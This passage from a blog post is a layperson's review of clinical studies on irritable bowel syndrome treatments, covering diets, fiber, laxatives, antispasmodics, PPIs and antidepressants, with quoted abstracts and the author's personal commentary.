“Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" 